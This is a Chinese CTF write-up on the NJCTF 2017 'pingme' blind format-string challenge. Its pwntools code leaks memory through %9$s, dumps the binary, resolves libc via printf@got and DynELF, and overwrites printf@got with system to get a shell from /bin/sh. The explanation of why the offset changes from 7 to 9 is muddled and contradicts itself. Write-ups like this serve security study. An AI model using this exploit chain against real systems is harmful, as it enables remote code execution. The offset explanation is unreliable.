0x1 前言
fmt可以泄漏任意地址内容以及对地址进行写入,fmt漏洞一旦存在,则用处颇大,笔者近期复现了NJCTF 2017的pingme题目,在此做学习笔记。
0x2 题目获取
题目复现
执行./run.sh
即可
0x3 解题过程
这是一道blind fmt,没有下发elf和libc,因此需要先与靶机交互获得一些信息。
尝试输入
nc 127.0.0.1 10001Ping meABCD%7$xABCD44434241
回显地址,很明显是格式字符串,按照常理,需要对参数位置进行枚举
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
success(f"offset is {offset}")
发现参数是7
然后可以利用fmt来dump内存获得elf文件
dumpfile
这是一个32位的程序
在没有开启 PIE 的情况下,32 位程序从地址 0x8048000
开始,0x1000 的大小就足够了。在对内存 \x00
进行 leak 时,数据长度为零,直接给它赋值就可以了。
利用fmt将内存中的可执行文件dump下来
def dump_memory(start_addr, end_addr):
result = b"" # 使用字节类型
while start_addr < end_addr:
p = remote('127.0.0.1', 10001)
p.recvline()
#print result.encode('hex')
payload = b"%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(b".AAA")[:-4] # 修改为字节类型
if data == b"": # 修改为字节类型
data = b"\x00"
log.info(f"leaking {start_addr},{data}")
result += data
start_addr += len(data)
p.close()
return result
start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
f.write(code_bin)
f.close()
在格式化字符串攻击中,偏移量是用来定位参数在堆栈中的位置的。根据你的描述,ABCD%7$x
表示 ABCD
在第 7 个参数的位置。然而,在你的 dump_memory
函数中,构造的 payload 变成了 "%9$s.AAA" + p32(start_addr)
,这意味着你要打印的内容 %9$s
被指定为第 9 个参数。
之所以从 7 改为 9,是因为在新的 payload 中,实际传递给 printf
的参数比原先更多。具体原因如下:
- 基础格式化字符串:
%9$s.AAA
中的%9$s
是格式化字符串,它指向第 9 个参数。
- 增加的地址参数:
p32(start_addr)
是附加到格式化字符串之后的实际地址,这个地址在堆栈中也是一个参数。
当你构造 payload "%9$s.AAA" + p32(start_addr)
时, p32(start_addr)
将地址放在堆栈中一个额外的位置。因此,原来位于第 7 个参数的位置变成了第 9 个参数。
示例分析
假设原来的堆栈情况是这样的:
ABCD
- 参数1
- 参数2
- 参数3
- 参数4
- 参数5
- 参数6
%7$s
表示取第 7 个参数。
当你加入 p32(start_addr)
后,堆栈情况变成:
ABCD
- 参数1
- 参数2
- 参数3
- 参数4
- 参数5
- 参数6
start_addr
# 这是 p32(start_addr) 加入后的新参数位置
现在 start_addr
实际上是第 9 个参数,所以你需要用 %9$s
来引用它。
确认新的偏移
为了确认新的偏移,我们使用了 FmtStr(exec_fmt)
来自动探测新的偏移量,并发现偏移量是 9。这一步是关键,因为不同的程序可能由于参数传递的变化,导致偏移量有所不同。
拿到libc
利用printf的got泄露
def get_printf_addr():
p.recvline()
gdb.attach(p)
payload = b"%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = u32(p.recvuntil(".AAA")[:4])
log.info("printf address: 0x%x" % data)
return data
get_printf_addr()
$ ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
offset_printf = 0x00051670
offset_system = 0x0003cc50
然后弄system,可以看到,我们成功的泄露了printf的函数地址,然后我们利用这个libc-database中搜libc,拿到libc,就可以算出libc-base-addr然后拿到system
zephyr@zephyr-virtual-machine:/mnt/hgfs/CTF/train/pwn/CTF-All-In-One-master/src/writeup/6.1.2_pwn_njctf2017_pingme/libc-database$ ./find printf a90
ubuntu-glibc (libc6-amd64_2.31-0ubuntu9.15_i386)
DynELF
首先找到程序的入口地址
如图是 0x8048490
def leak(addr):
p = remote('127.0.0.1', '10001')
payload = b"%9$s.AAA" + p32(addr)
p.sendlineafter(b"Ping me\n",payload)
data = p.recvuntil(".AAA")[:-4] + b"\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.hex()))
p.close()
return data
data = DynELF(leak, 0x08048490) # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)
attack
将system的地址写到printf@got中,然后送 /bin/sh
这样就相当于执行了 system("/bin/sh"
利用 fmtstr_payload
构造payload
payload = fmtstr_payload(7,{printf_got:system_addr})
将printf的got改成system的地址,这样程序调用printf的时候,实际上调用的是system然后发送字符串 /bin/sh,就可以在调用 printf(“/bin/sh”) 的时候实际上调用 system(“/bin/sh”)。